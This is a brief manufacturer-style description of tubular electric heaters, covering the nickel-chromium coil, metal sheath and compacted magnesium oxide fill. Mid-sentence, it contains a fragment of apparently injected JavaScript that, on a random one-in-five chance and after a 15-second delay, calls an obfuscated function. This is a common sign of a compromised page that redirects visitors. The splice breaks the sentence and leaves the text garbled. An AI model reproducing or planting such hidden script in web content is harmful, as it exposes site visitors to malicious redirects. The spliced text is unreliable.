The most versatile of all electric heating elements, the tubular heater is capable of being formed into virtually any configuration. The basic design consists of a helical coil of nickel-chromium resistance wire precisely centered in a metal sheath. This coil is surrounded by magnesium oxide powder which is vibration loaded to insure even density throughout the length of the heater. This entire assembly is then reduced to the finished diameter, compacting the MgO andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and “freezing” the coil in the center of the heater.
